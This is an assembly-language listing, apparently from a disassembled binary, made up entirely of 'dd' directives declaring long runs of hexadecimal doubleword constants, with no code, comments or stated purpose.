		dd 34B2498Eh, 0C596061Eh, 4CC5C303h, 2DA2810Fh,	50311066h
		dd 3B6808D8h, 0FE10D667h, 45268532h, 0C4611456h, 0C5FD7F78h
		dd 8D85C711h, 7461AF3Eh, 0AC00DCA8h, 317D19F2h,	58F0BF58h
		dd 69416C96h, 0BC2AC735h, 6BAE4ABEh, 58030F44h,	0B9DFC157h
		dd 5BEC2E40h, 0B34E70E9h, 0AFA8D8F1h, 8F0F3917h, 0E4AF5E24h
		dd 570050BDh, 0AB9B7353h, 7AA5EF35h, 0C30265Fh,	0C9441C6Ah
		dd 2A0FC101h, 0C1020E59h, 0A85DFB4Ch, 0EBE70D93h, 4DE3636h
		dd 16EE3964h, 29501B33h, 18214028h, 113CD58h, 0C01B0957h
		dd 0B19CC08Bh, 0AC0309DCh, 0D9F5F439h, 0EF810042h, 169ADBFh
		dd 70AE53BFh, 0C5014B2Eh, 0FB92A377h, 432853CDh, 0EB187E80h
		dd 0B9E26939h, 9B283803h, 0E8A68CCEh, 0F5BCB610h, 30FC891h
		dd 0C5D667FCh, 0C448F014h, 31CC0F96h, 0FFA2B219h, 3DC15F5Bh
		dd 84A972DEh, 0F634A885h, 51EAA113h, 7ECC6722h,	85170147h
		dd 0FDDD23D9h, 5F5C8730h, 2A4B09CAh, 5474657h, 62356433h
		dd 0DF92809Fh, 6E00EBA7h, 4B532F79h, 982D9EE8h,	4C8C45CDh
		dd 0B31E464Ch, 1942FC95h, 0DF37DA6Bh, 77717AC4h, 0DBF6E579h
		dd 516A3800h, 0FB4F9DE3h, 0C75F26E8h, 0B0B234BEh, 0C4111E3h
		dd 4582E430h, 49233803h, 0DE91199h, 0C69E7300h,	0D31BF1A4h
		dd 20814402h, 0FB58EBA9h, 7CFCAD33h, 745D65D4h,	319504F8h
		dd 0F22DF50Bh, 1A50CAFFh, 8C5B5584h, 169DD058h,	2F152AEh
		dd 0AA4E1E06h, 21D538C0h, 0BC2B4082h, 77D20136h, 8689FC8Ah
		dd 0F438FC4h, 2D8CF3BFh, 0E1B52A09h, 0C28300F9h, 797FBB04h
		dd 89142F5Eh, 0C0F42050h, 63486B77h, 1FA40014h,	0BAD566AAh
		dd 0BF1C4E6Dh, 0B2530DD6h, 0BE06FE05h, 19B286E3h, 5CACE830h
		dd 0B2C846Ch, 168509C2h, 0CD6B7D59h, 49A04F8Ah,	0A4CCBB3Ah
		dd 0D0CB8103h, 4C0ADD3Bh, 49763D4Eh, 0CC960111h, 23925031h
		dd 0D670CBBBh, 959D1223h, 6DAD290Ch, 580BB885h,	0A912D751h
		dd 1617B71Ch, 12C830Fh,	79EB00D8h, 98D3AF82h, 5F4ACC58h
		dd 342205CAh, 96D98B16h, 556D849h, 0D0875FA2h, 98AF5899h
		dd 0F09656D0h, 0E2C610F3h, 854A912Bh, 0E5181B71h, 274D9101h
		dd 0EBD57178h, 8041302Bh, 32AC67DFh, 50FB73BDh,	5F0489C8h
		dd 0EE061E51h, 0B2B54A85h, 0A120352Ah, 4282ACEh, 7F5BBD87h
		dd 17D0BED8h, 4578580h,	91FBD85h, 0A32A595Fh, 0F8D778C4h
		dd 0C8AE7309h, 4D5182FFh, 2960020Dh, 89155E61h,	19028CD7h
		dd 132B610Bh, 80E0DB60h, 346D98EEh, 809695CDh, 71DFFBB7h
		dd 56E27E4Bh, 3EE50C00h, 0EE0B307Dh, 672A0F16h,	1B485C8h
		dd 2C1184EAh, 89D6E574h, 276D855Ah, 58A9E917h, 78EAB3B9h
		dd 2909230Ah, 5A3485B5h, 0D4DE95B5h, 0BCAE01D6h, 920DEDF0h
		dd 91A2CBB5h, 2B6AD456h, 0E9310313h, 0E37A90FEh, 19210F29h
		dd 741EA082h, 0F0125Fh,	4599BBE3h, 50614A23h, 491E5378h
		dd 5B52CBC9h, 0D5F0C8A6h, 3CD6F5F9h, 0BD5B2AC7h, 5F181C4Bh
		dd 0F9F38666h, 373DECD1h, 5606AF9Dh, 4504DC9Dh,	0C5A4CA70h
		dd 290193C2h, 0DFBE1058h, 0F36D09DCh, 95024543h, 0B091AA9h
		dd 154487h, 61AA80EFh, 0C1C05B59h, 3497AC0Eh, 4692BE8Fh
		dd 6BB399E4h, 0B66D8280h, 0DA116AC0h, 40B21FF5h, 0CD31D3ACh
		dd 2967415Bh, 0C3810009h, 6B6778B3h, 92026C26h,	645C1725h
		dd 0D4B7F7EBh, 70B97101h, 58B9259Eh, 84CE1A25h,	0EA816000h
		dd 4B109140h, 0FF6116F9h, 82BD9BD1h, 79CDFA8Dh,	867C00C0h
		dd 5C765952h, 446A5D00h, 3F8EF4FEh, 0FABC12D8h,	8D90E246h
		dd 0F92A3D60h, 96AACFCh, 9D89847Dh, 2CA58EBh, 0BCC75940h
		dd 0C450B125h, 5EA10092h, 0D2C0368Dh, 583C79F1h, 1FD51CF7h
		dd 6C76A981h, 72417FBh,	2C32BBF9h, 50F53D42h, 0F5E9E560h
		dd 0C1383E3Dh, 56F66140h, 728B0E4Bh, 919D4110h,	503ACB2h
		dd 8D09C0C7h, 3085FE99h, 80F89BFBh, 4617C52Bh, 9D754BECh
		dd 0C0345A6Ah, 2A857FC2h, 52DBE25h, 53D88B50h, 2416F9Eh
		dd 547E02C4h, 0E7DF81C8h, 652ED3ECh, 0DDF10458h, 0B7FDFA16h
		dd 9ABB66C1h, 37352E2Ch, 81979BFFh, 0F5BE6C8Bh,	5A37DCC8h
		dd 0BCFB204Bh, 8800280Fh, 6358150Eh, 9FC4D24h, 16558560h
		dd 0B7274AFEh, 0F2A118C8h
		dd 980829D3h, 921A8F0Fh, 15B9D0E8h, 7007759h, 3C8EB3B1h
		dd 12EB05E1h, 4131E94h,	0B15C1F4h, 4DAA825Fh, 603FEF0Ch
		dd 7EAC528Bh, 7755DE58h, 0DB1268B3h, 101889E6h,	0F8B71D01h
		dd 311AB070h, 56E28185h, 9D23048Ch, 0E6F3D699h,	921FEB00h
		dd 0B58971E4h, 256AB6CDh, 4CE88369h, 1041EDF5h,	0D3851F2Bh
		dd 81F8E280h, 0CA04EF2Eh, 652E3FF9h, 788B096h, 6D2033B0h
		dd 9D8C951Dh, 13D2055Ch, 9554C0BFh, 0C8891701h,	40089B90h
		dd 2A40DDAFh, 21D15A8Bh, 0C0F428EFh, 0B200CBF6h, 0FF7040C6h
		dd 127D1D30h, 249F8EDh,	5BC70F4Ah, 698E58ACh, 850943B9h
		dd 1E5AD9B9h, 8295A055h, 46F6B3ADh, 86A83C3Eh, 0EDD0010Eh
		dd 9D762820h, 230D46A4h, 34E168DDh, 5FCCF5C2h, 0D4D03B2Fh
		dd 0B9E66C04h, 60E92140h, 96BF1733h, 4E064552h,	3B1BD89h
		dd 58D1191h, 0CED24A2Ah, 0A5FC2719h, 0FE100FA5h, 3B3D95E6h
		dd 4A6B66D0h, 9050BAD8h, 0FD5CB8F9h, 4F080115h,	203C3172h
		dd 0BD180157h, 9D4B1C39h, 2592BEB9h, 2F93C966h,	125B9E78h
		dd 2D7694Fh, 0EAB9FB56h, 0D525525Eh, 2389C3B5h,	0D3D570CAh
		dd 0D96B8CD0h, 2BE1B8F4h, 0A500AC7Bh, 37E36325h, 0B304D3F8h
		dd 0D22BFAF0h, 2E151481h, 0F199AC04h, 322880Fh,	0DE3AF52Ch
		dd 5E2491F8h, 1930030Fh, 247DAFBBh, 89E32825h, 0A87149B3h
		dd 0F1950904h, 752B81B1h, 26DAFA8Fh, 95281280h,	3F005363h
		dd 0F3BB3437h, 97697611h, 0B0E2921Ah, 4E5C8156h, 65489788h
		dd 848F3487h, 2E19B14Fh, 33B846E9h, 0CA724C01h,	0BC69122Eh
		dd 1203EF70h, 0E243CB59h, 0A83B88B7h, 8A22F8B6h, 32D5EC1h
		dd 0DCFA85B8h, 0D30075DBh, 0B526433Eh, 94C86CEh, 0CC0F2077h
		dd 560A627Dh, 58026996h, 0FF0123CDh, 0EB2009E1h, 5D1C9716h
		dd 0DA4E1E43h, 0BABE80BFh, 4BB765B8h, 22608ACCh, 41ADB40Bh
		dd 0F0EE8F3Bh, 353B381Ch, 0A5CB81DEh, 539721BBh, 14B1BA88h
		dd 58E25F12h, 5A6AD88h,	804E0511h, 60AF3C00h, 2BA3795h
		dd 19CF808Dh, 15C93760h, 2F4F5682h, 13DC6FF6h, 9107FE7h
		dd 6A70FE04h, 0C24CA695h, 0CD1AD729h, 2EFAE143h, 0F7800830h
		dd 5D6C90C9h, 6E4EA8DAh, 2132008Eh, 780E3568h, 3B44D43Eh
		dd 0B31B2D12h, 81B784E5h, 4A7E24B8h, 0CAEC856h,	0F3B188h
		dd 0E2099767h, 28A5663Ah, 8B227E17h, 46D7B417h,	671D9E04h
		dd 6E09B670h, 925B585Ah, 62CFA38h, 77F311BBh, 2AE3207Ch
		dd 84FB2137h, 77AD2262h, 0F11AE9C4h, 0B83E2D79h, 62313B27h
		dd 76646A25h, 80E1B797h, 7B68B72Ch, 9F09BB7Dh, 596EC035h
		dd 0C9519295h, 2FB92A3Ch, 0D078A080h, 3F016C3Ah, 0B997D716h
		dd 342B5F2Eh, 0F6AA92h,	83AF72B0h, 0D6C2B912h, 8FA33412h
		dd 0F0C72948h, 0F42E90FDh, 0D4E424FEh, 0D3C39A03h, 0F1EE29ACh
		dd 82798932h, 0A4008BBCh, 6F419464h, 12CB95C0h,	0F7E1B30Bh
		dd 0AC8A4DA0h, 141990B5h, 0E68EF0C7h, 8C9DE16h,	60964988h
		dd 163788h, 0E144331Dh,	0DD645BFDh, 0ADAF41EFh,	0EF2CA62Fh
		dd 0FA5850Ch, 0EA819561h, 2F526050h, 59CD5D20h,	1AA300FFh
		dd 0FD3F469h, 5B1F4539h, 5F65582Ch, 97548412h, 5282046Dh
		dd 0A8B32434h, 4D6BE956h, 0DEA3C035h, 604A2A6Dh, 959630FEh
		dd 0BF8005C1h, 182E08Ah, 6B686128h, 30EEBE25h, 814CDE43h
		dd 82943A22h, 8DF81160h, 0F9BBD985h, 9371819h, 889955D6h
		dd 0D866548Ch, 0E4BE5F75h, 0AD327E40h, 909C726Fh, 260304E6h
		dd 0D47836F5h, 0B87ABD69h, 0C70100F7h, 5227477Eh, 1D4D9D03h
		dd 255E5CD9h, 0B846CE05h, 611640ACh, 3585010Dh,	3D2B0E2Ch
		dd 186A3B4Ah, 0FA8F0700h, 58763D57h, 0FB658A07h, 31F4BD23h
		dd 38EAF625h, 0B5F95F48h, 0EC07E1E8h, 110B099Eh, 3BE99431h
		dd 628B6FC2h, 0E8E11A15h, 3C6B2E28h, 0B3301DE2h, 0F65F01F8h
		dd 1F813DD8h, 81042FE1h, 0A21329B9h, 0E31F7546h, 5400C2AAh
		dd 5BC791Dh, 0D551BF58h, 0B4B80307h, 134DC5C0h,	0F9AA00C8h
		dd 740C2E5Ch, 0CB0BC005h, 961E3E94h, 0E5851262h, 77357B04h
		dd 6A1C9BF6h, 0A684B552h, 2F8BF054h, 0E704B313h, 0A3E0A7ECh
		dd 96C22E1h, 8844EC07h,	0F589BC53h, 40B0EF2Ah, 40E53698h
		dd 9F4D9904h, 0BCADFCEAh, 40FC2AD0h, 0FCB37F00h, 3848BAEEh
		dd 0D6A4E8h, 9E6ACF88h,	8D46E6BFh, 0D8532E00h, 81CA6770h
		dd 1D37016Eh, 0F88BAD2Ah, 5D352E5Bh, 96E07AF6h,	59052AC1h
		dd 58CAAC9Eh, 921F1CACh, 0D764E584h, 0AC364100h, 33784922h
		dd 62E70FB1h, 50402C69h, 6898037Fh, 0E9AD20B2h,	0B74ED5E0h
		dd 0A5715CCAh, 22C8952Fh, 114A4D9Dh, 188874DDh,	64A50EA1h
		dd 0E6DBBF8Eh, 7315C870h, 57B306F2h, 1F09E8FCh,	326BF100h
		dd 0E7D04F8h, 86724A30h, 0B512CCCBh, 0C2E22071h, 32ACF4D5h
		dd 0B5DCF0E1h, 0D221BC0Fh, 0C0C97328h, 342BA159h, 658204CDh
		dd 0CBB1120Ch, 0E8CEB92Eh, 1E9FE85h, 46320148h,	383FFE11h
		dd 5BBC08Bh, 9758928Fh,	0FE58EC09h, 7DEA8995h, 0A46046EDh
		dd 0A633BAEh, 0EC5E1E99h, 4BD08FCh, 60F7C02Dh, 7BDF0681h
		dd 0F013FDCBh, 4B155120h, 2D0DDD61h, 15CA883h, 5ECB640h
		dd 2A9B5208h, 440086B9h, 5CC4DE68h, 18005A0Bh, 8B8EC807h
		dd 2C2A894Dh, 8D26DD1h,	5F171951h, 352E6EE1h, 0E763A629h
		dd 0C17A5EC0h, 425960A6h, 170C82BBh, 2E914C95h,	4AB68D0Fh
		dd 0F03660D0h, 7C001E87h, 5C865EF8h, 2BA75CDh, 2F4D290Dh
		dd 0FF93BA7h, 2B4FADAAh, 0B672A589h, 6FC4BF00h,	0BDAF8C0Dh
		dd 78001078h, 43272ED9h, 96C93E99h, 0CF083E97h,	0FE2A2029h
		dd 5655F552h, 0CA6FF045h, 79E50119h, 0E01A88B4h, 80C83882h
		dd 0B0ABF85Fh, 75E00DBh, 1F0C877Eh, 144AE582h, 0B8B42AB4h
		dd 70AC1EEh, 2F3F8673h,	28B6961h, 2ADEB311h, 25B57A61h
		dd 6D9C55C2h, 3811644h,	0EE652CF7h, 1A70500Ah, 183238Ah
		dd 0B45295B5h, 14B218E6h, 520FF830h, 5353928Fh,	2BCAB100h
		dd 6258DE94h, 491DA401h, 0B0A188E1h, 9510E6F8h,	1897514Ch
		dd 54858966h, 4F0FFF69h, 0DB4E3082h, 0B9D39E7Eh, 0FC03717Eh
		dd 4CC5BEBCh, 8EBC4ACh,	56960794h, 34EF3342h, 25AC765Fh
		dd 0B0A17FC6h, 4B922C2Dh, 6338828Ah, 81979E5Bh,	848F31CAh
		dd 10339CF4h, 8415059Dh, 9C1B2D01h, 0C2751BB1h,	5525515Eh
		dd 0FF9ED4B5h, 5903FDDCh, 88609934h, 7A9C5BAh, 8B610D9Ch
		dd 5E7939CAh, 70675DE9h, 78F88CE4h, 2D9B792h, 0A8978032h
		dd 842EC3B2h, 9B5A4EBCh, 4C37848Eh, 5EF5D7C2h, 0CD7F494Eh
		dd 0B84A60E1h, 98062215h, 0FE9DEB1h, 30B0001Fh,	0BE875064h
		dd 4007F87Eh, 13B5BDB2h, 5FBC41C4h, 293AD9D4h, 0BB0450C0h
		dd 7C030892h, 3BFDAB0h,	42FDD3DBh, 0BBD48529h, 6F2AAFE1h
		dd 0FAEF04DDh, 2FBCF5B7h, 48BC0F1Bh, 0AD5E9013h, 0CB9DDBAAh
		dd 8801009Eh, 48F2EB1h,	1E2042BBh, 0EC32BD16h, 0A71D1F62h
		dd 0FBC7C0B9h, 501F3774h, 8EFE8B2Ah, 1ADCB3B6h,	3CE7857Ah
		dd 0E38D8955h, 5EADC579h, 0C809C2BCh, 79D2DF80h, 784CAB24h
		dd 81919E98h, 9DB12980h, 6D69C5h, 7746807Bh, 271B65EAh
		dd 0F2E9897h, 35086C81h, 0C08A020Ch, 95D1FF41h,	4FD60556h
		dd 0B1D4C582h, 21282E6Bh, 47618A66h, 0F1707E1Eh, 0E62DA5h
		dd 0FF430D84h, 18AF816Dh, 9F714201h, 0CF3F5BEEh, 1ECD5230h
		dd 6561C8CAh, 4C901FE0h, 89026A09h, 0D56C938Dh,	0F650A7D2h
		dd 0C6A207ADh, 0CF80B15Bh
		dd 0C2DD2EBBh, 38726A6Eh, 0C2BC02FAh, 578AE9FBh, 6820991Ch
		dd 9595B2ADh, 47C20C6Dh, 4DF74084h, 85C822Ch, 7CBFE46Ch
		dd 0B8507658h, 95DD706Eh, 1A321FC5h, 0DA891125h, 1B44B96Dh
		dd 210F2B60h, 3694A304h, 0E3EABFB9h, 2415836h, 9589F171h
		dd 0A79DF631h, 0A6559061h, 7109B411h, 0AE4DD510h, 80EE52E0h
		dd 4C0E5CEBh, 1317CE0Bh, 0DABF9402h, 4C47D5Ch, 7C708B49h
		dd 59F721A0h, 0E61F6209h, 1AE65F70h, 1023D948h,	0E40318E9h
		dd 0E7C38171h, 2E4C1C89h, 0B0DA7F48h, 0E194A87Ch, 0FD290825h
		dd 855873A9h, 0F62DDC81h, 8EE5F15Fh, 0C149DE8Bh, 0D413FC99h
		dd 55005E79h, 9A30E6D1h, 123276B7h, 0E1AC7415h,	40862E86h
		dd 8688954Dh, 0DACDAF20h, 0C82B2480h, 0DBD381h,	8B2DAE84h
		dd 0A5B509D1h, 0BA280441h, 0C9BD2382h, 0CC0D84Ah, 318019F5h
		dd 10C5258Dh, 0B4817AC4h, 0C30CADDEh, 31EA108Ch, 5B5F1221h
		dd 841169E4h, 45A99D3Fh, 0D95829FEh, 78FD2EF7h,	0E2DF929Dh
		dd 0C242266h, 251DBD89h, 17A0A587h, 951229FEh, 6BE5267Dh
		dd 41495C05h, 41717104h, 39180EC5h, 4C0ABC9Dh, 46003352h
		dd 0BB66A993h, 4CC21B2Dh, 5C8FF380h, 376A82h, 4FDCC13Ch
		dd 74E9DB9h, 0DE178393h, 0FAFC4BE6h, 137E1C6Bh,	0F6FCD4BFh
		dd 4C0DE090h, 4F030184h, 271EF01h, 7292329h, 7882F820h
		dd 0E81C2AB3h, 23A8BEh,	0B8C2131Fh, 8E0FC02Bh, 79382B95h
		dd 891AC11h, 2B09223Dh,	71D2F3D2h, 3EDAC068h, 2C258400h
		dd 9D033F28h, 9B0B4BBDh, 2C9B4AA8h, 6F543389h, 0FC4C442Ah
		dd 8C1BE848h, 93C8D200h, 69C26AEBh, 2D04B74Ch, 0BFB2120Ch
		dd 809ADB5Bh, 0E92B351Fh, 0C8991315h, 0DE51CD60h, 19C2B960h
		dd 0D9186862h, 0B861041Fh, 1BB6D2C1h, 665177E0h, 0BD2B420Eh
		dd 564A7A39h, 0B79D56E3h, 0F1720F7Bh, 2F83F22Fh, 1A5A890Fh
		dd 0CD008F7Ah, 96123D9Bh, 4D259092h, 11F2C530h,	4B805852h
		dd 0F5C30630h, 0B9B87057h, 11724351h, 54E1DD90h, 40F79500h
		dd 37539BFBh, 0F123EA68h, 40F1EAh, 80185DEAh, 6C01D27Dh
		dd 1971F497h, 69F05572h, 121EEC15h, 0F35F22DEh,	0D6F44B0Ch
		dd 254C90E1h, 9E70F6Dh,	5F543A11h, 0FE1EA10Ah, 3FF1282Eh
		dd 351116A8h, 849529ACh, 6047F6DCh, 0D69E209h, 56C9B25Ch
		dd 0F609D46Eh, 274A1A4h, 0B2F3587h, 0A6003544h,	0DE1B36D6h
		dd 40A815h, 70CB8182h, 5F1FFCEEh, 8CCB0D97h, 204E5632h
		dd 99649704h, 7E0184E2h, 4B26A166h, 9AEC423Dh, 34A92CB3h
		dd 194D082Fh, 0EEE45B12h, 0D90141ADh, 14FB6282h, 739DF98Ah
		dd 0D47EBA95h, 0E912D4C3h, 0ACF88B6Bh, 0D620AD92h, 7EA17CF6h
		dd 0B2F0F460h, 1F495918h, 9761CAAAh, 82620182h,	0B2826D58h
		dd 3098B8C4h, 6A4E3972h, 0AF00E26Fh, 61BC75B7h,	6002ADBBh
		dd 313D2FBAh, 42B7C215h, 6221FE07h, 0FB751BADh,	0D091FA0h
		dd 2E291C5Dh, 0E33C6329h, 29BA8980h, 6D016A3Ch,	7456B53Eh
		dd 0A93A2C97h, 502A130Eh, 3718D0AFh, 1925812Fh,	0B37EE822h
		dd 5D20ED63h, 0C15804BEh, 886113D2h, 7596E84Eh,	643B2980h
		dd 47C47BDh, 850F7273h,	0B1E6EB15h, 0E774660Fh,	836AADC4h
		dd 25E8235Eh, 0E3051460h, 585FCE36h, 0E3B8C6A9h, 0C0F5E000h
		dd 26C781DBh, 2BC1256Ch, 0EF9C8466h, 0B40902DCh, 78708398h
		dd 2C393F40h, 0E441CD95h, 0F1F76016h, 20E0B8E4h, 9122211h
		dd 0B3C0CDB5h, 99015BE9h, 0DE3049Ch, 0CED9BC68h, 5BFBE452h
		dd 0F9CFB8BCh, 0A794B545h, 0CF83B0B3h, 0A6E103BFh, 669860F9h
		dd 0AAB36812h, 8007A4F3h, 59894BDBh, 1B596A7Bh,	72024B18h
		dd 21AE6ABFh, 1E18750Ch, 9877AC34h, 0E41B1679h,	0FA50777Fh
		dd 0C2FE52BDh, 1ACD85CEh, 446CAA2h, 1FB54F60h, 0CC2B9681h
		dd 4E01C2CEh, 0CF9A58A6h, 0F520C68Ah, 965B2F52h, 0AD034F44h
		dd 1B16548h, 1A4188F9h,	5F98977Fh, 8200D781h, 6808D27Ch
		dd 5E0AEEA5h, 5244CC24h, 3FE05F4Ah, 15ED3F5Ah, 13656ECFh
		dd 4404C871h, 58BCE93Dh, 499D0BC2h, 4FF480A9h, 0DC1B9C60h
		dd 7C400062h, 7DF1AEBAh, 0B0BE099h, 7AF59ABEh, 2CD9DF2h
		dd 0FC2760CEh, 13C5482h, 974C7E7h, 2F31A59Dh, 0BF0F3870h
		dd 0D76158FAh, 55BE4CC0h, 39002031h, 2E337FC0h,	1969A59h
		dd 0FD15C4Ah, 2F97BAF7h, 0CA61482Dh, 402476FEh,	0C6F1D5Ah
		dd 0E003C700h, 0D75094D5h, 0B4FC0161h, 7D067F2Dh, 0A5CE208h
		dd 621FFC52h, 0FADB48E9h, 0B76C8D8h, 1CAC387Dh,	0D9A4E651h
		dd 25352908h, 9D5C25C7h, 3B09EBE1h, 5931AADh, 8825BD32h
		dd 0FF7F9B7Ah, 0E88AFA4Bh, 0C2A66021h, 0D59252D6h, 805337CCh
		dd 0BF42D324h, 0FEB524h, 31C6106Eh, 140C61B5h, 0CAE23297h
		dd 69BB5450h, 0E19C482h, 59885B09h, 18C1819h, 1722D79h
		dd 3096F834h, 0FE1D8B3Ah, 0BF5E310Fh, 0E3D5104Eh, 0FE585A5Fh
		dd 0B1DA7B90h, 3D97809Bh, 8A7CB036h, 0BAA49100h, 899F4206h
		dd 511825B4h, 18640A4Dh, 9DF53067h, 0CE95B3A1h,	8255770Dh
		dd 8F40C4DCh, 9058CCh, 0C2C694F3h, 0CE6B4D2Dh, 3DF55C2Eh
		dd 85A7A36Eh, 20A0DF42h, 7C0C341h, 79D0CD99h, 0D198C1A9h
		dd 30BB595Bh, 9025CF74h, 118733Dh, 762C3AD7h, 4B342E7Ch
		dd 0FA59CC1h, 2DB72D6Bh, 11A88Bh, 60CA64B2h, 7FDD7883h
		dd 29BD0109h, 7966D70Eh, 5ED9C800h, 0A6A076B5h,	8CE3068Ah
		dd 900396A5h, 5B4BA4A4h, 6EEA6A84h, 2F0C00DCh, 687C2E4Ch
		dd 45E12C6h, 3B8CE10Bh,	75049D6Eh, 0AE92A6B8h, 68C8FD16h
		dd 0D740094h, 0B98AB433h, 0FD04E05Bh, 14A69284h, 0D2DF87B8h
		dd 6946E1F9h, 13BEC6Dh,	78AAB1ACh, 2070EF9Ah, 29BF212Eh
		dd 5ACD5F57h, 0EA1C7DC0h, 1460F79Ch, 0B86604FEh, 0B961B7E4h
		dd 8C14AC1Ch, 24EA124Eh, 20D1B84Eh, 7CB09513h, 0B40FDBDh
		dd 2C40BBBh, 3C8A3C3Ah,	0B9B209F4h, 0FACF8EF9h,	2EDA5714h
		dd 0CA93B900h, 36C690C5h, 318F420Fh, 0DF8B3A5Fh, 0E66C852Bh
		dd 45C0E4DFh, 4A093684h, 6AA6B585h, 1AC80F9Ah, 0E22EE0CEh
		dd 5A8B64F9h, 5F0BB7B3h, 0DA005C6Ah, 8BC547FCh,	8012FF72h
		dd 9CE2D4F7h, 0F62F9493h, 0A0C5E328h, 0C2918EAEh, 0BD891430h
		dd 0C272B662h, 3CC5DA4Eh, 0CA8067DBh, 8A9C1CCFh, 22B8B113h
		dd 0FA2533B6h, 290A9BC6h, 0C6103985h, 0EAE78150h, 72602DBEh
		dd 5300E844h, 95878DE9h, 26FB1438h, 29A2F3Fh, 5BBB39DFh
		dd 717B1D5h, 8B292310h,	58CFC600h, 44BF66FDh, 8A5F4B46h
		dd 77722783h, 1000DFBDh, 3067C673h, 1BEA0115h, 0DF80DC52h
		dd 3E643803h, 0F92041BDh, 8B049719h, 146BAF61h,	38001A23h
		dd 5BD92F9Fh, 0BBFF0740h, 6EFE198Bh, 0A1C99D85h, 0B90F2BD2h
		dd 70F52929h, 9296958Ch, 0C256E925h, 87B1B763h,	497D23A6h
		dd 0B692802h, 91B31F57h, 0CDD48017h, 0D653115Dh, 5BB6D0CAh
		dd 0E81368BFh, 0D9EA54F2h, 0EDB82E60h, 901227FCh, 2201A1C8h
		dd 2AFB9965h, 0B51822Fh, 5852EB2Eh, 4B42906Eh, 0AC24BB60h
		dd 13F5E3EFh, 2B49559Dh, 0D7CDD56Ah, 7FAD82E0h,	53A31886h
		dd 13F5596Ah, 0CAF00B83h, 0DA5B18BCh, 13641E78h, 955F176h
		dd 18985FEh, 5849BD56h,	9DD0EC2h, 5049B390h, 3D701DC4h
		dd 0B78D990Fh, 0F605F6C3h, 77012E81h, 2B5FBB66h, 464D0CA5h
		dd 0EEC6AC2h, 825C2DE9h, 0D53D42EBh, 0D175E33Ah, 828CF867h
		dd 651456F8h, 48ADDFFFh, 0DBFA983Eh, 4E087D28h,	906EAFD1h
		dd 0F8133D00h, 18C5823Fh
		dd 0E9625862h, 71585C01h, 0E037377Ah, 4C4173h, 1B06C538h
		dd 8B67B48Eh, 26AF917h,	0BC00506Fh, 5FE6362Bh, 0BB2875D4h
		dd 0F317EB90h, 5388508Bh, 0DB4F03FDh, 60AA89Fh,	0F0B9F1D8h
		dd 0BBCCC000h, 5C94B12Eh, 1904975Fh, 0A2AD5221h, 9BE9A698h
		dd 893C795h, 0FC1DBCD4h, 44ABF7C1h, 0DB304EA3h,	9D2BEB41h
		dd 0AB9A2E59h, 8A4EBEC0h, 5725321Bh, 0DFF4C3F9h, 4A50F452h
		dd 8461B7ECh, 0A8534D8Dh, 60C58074h, 2858F4h, 5467DABBh
		dd 4E331F03h, 6A40A52Eh, 73A28212h, 66278021h, 0DF8C432h
		dd 87BAB9CDh, 25A49D03h, 0CD9782Dh, 0A0304F3h, 4B7D70CFh
		dd 41A38D61h, 2909A1FCh, 0A87880ECh, 1DEE6B2Dh,	0C27FEFAFh
		dd 1CDE30EAh, 0F6C14E92h, 6A5F10E5h, 2CF698FFh,	42E11C25h
		dd 48F30D49h, 342F16D1h, 88B6ADF2h, 0FE0B993Eh,	87B00308h
		dd 20590BBFh, 6070E6FBh, 15B51A03h, 0F7E83922h,	0D90084F2h
		dd 0E723F0D2h, 1EC6EB4h, 0FBA50BDDh, 3C71E461h,	0D47080D8h
		dd 53EC24h, 0C207E36h, 17E6FEA6h, 265A711Eh, 0E9799084h
		dd 0F022DAB9h, 307E90B7h, 0D6720Ch, 0D0E3AEBCh,	80FE38BFh
		dd 0E0132EEDh, 212BD1B1h, 44F560DDh, 0EC2012FDh, 7685808Bh
		dd 17B947F0h, 4B1417Eh,	0BF31C11Ah, 172B0BB5h, 0F73580E3h
		dd 0B00BFE2h, 2B08FB09h, 259D33C8h, 5E723111h, 51E1B181h
		dd 3C93E998h, 2EA186DCh, 8852927h, 0FA0B8F9h, 518D8909h
		dd 11D67331h, 0D12C50FBh, 0E32E5Ah, 6C538972h, 6CE939D6h
		dd 0CFF83A13h, 8DC6FE06h, 0EEF603FFh, 443CCC13h, 0DD023A30h
		dd 516900B1h, 0D2AA53E0h, 9500BFA3h, 177D8FA0h,	3229ED6Eh
		dd 5FA965BDh, 2344F15Ch, 71F68A49h, 0A594DE1Fh,	0F8FE3237h
		dd 0BB33FE1Dh, 12317C50h, 0E2167DB5h, 3C3484F0h, 0E90A1616h
		dd 0FF6DE9A3h, 0BCEB81C0h, 2E4B8AD5h, 0C001F28Dh, 0B900210Dh
		dd 6F9F0FB5h, 0F01E42C1h, 0CD2F0B5Eh, 6454C377h, 1D0C0E0h
		dd 3F39B524h, 0B70FFC81h, 0B7F62BDFh, 0A8D28086h, 1D149AA7h
		dd 0BA54B914h, 0BF5180B8h, 25A27620h, 0CECD5B48h, 4172CDA5h
		dd 2B7D98DEh, 0FCB01924h, 0A2A90499h, 0AAE15873h, 5FCA8304h
		dd 9DE0AAF6h, 0C902E7DEh, 0B8C8C1C4h, 90255003h, 889E4B03h
		dd 4A4FB7DDh, 0D380E131h, 0E9B25CDEh, 565299DBh, 1C905CA9h
		dd 42B7BDh, 9C56ED9Bh, 0A5256AC4h, 1183C524h, 7892E72h
		dd 0F7DF1518h, 811297E9h, 2ED80E41h, 503A5465h,	71041C23h
		dd 34EE27F5h, 0A90BBA60h, 0E181053Ah, 2E886EAAh, 2C12DDBAh
		dd 0FA0212B2h, 9B593D2h, 0AD173E0h, 5BA31C97h, 67E31170h
		dd 310066ACh, 0ED030293h, 4B9639EEh, 17BF8AFCh,	0E39E0459h
		dd 102BD680h, 4E4CF65Dh, 1C6112E0h, 0EF88E0E3h,	2AC126B1h
		dd 95D18C04h, 0C9045679h, 3D104B1Bh, 0F9B0BBACh, 0CBB605Fh
		dd 162FCB79h, 807FDB15h, 3BA1C6Dh, 255920BDh, 0E2CEB725h
		dd 0B1375501h, 0AC1E3700h, 97FF8A4Ah, 2348FF24h, 0F7B9DCB7h
		dd 48C18ACh, 72FCF771h,	0FC1CFF1Ah, 0A5FAC525h,	0A6007AB5h
		dd 0FDE1CB1h, 62DBBE87h, 9005056Dh, 0A238D6A5h,	0FBF5BD80h
		dd 3316137Eh, 0E75666E2h, 2390D7C0h, 975279Dh, 0CF007E3Fh
		dd 809EE5ACh, 8A404B43h, 0BCBB02EAh, 756656C6h,	4758330Eh
		dd 3FF15F52h, 0CBB27E12h, 1C116D40h, 92B00397h,	2E130DBh
		dd 8109DD52h, 37585FBFh, 91B894Ah, 0AB017884h, 4B8D382Ch
		dd 0F939C1Dh, 0A4CC2FEDh, 0D3E912DFh, 0A21EA701h, 7FA426Bh
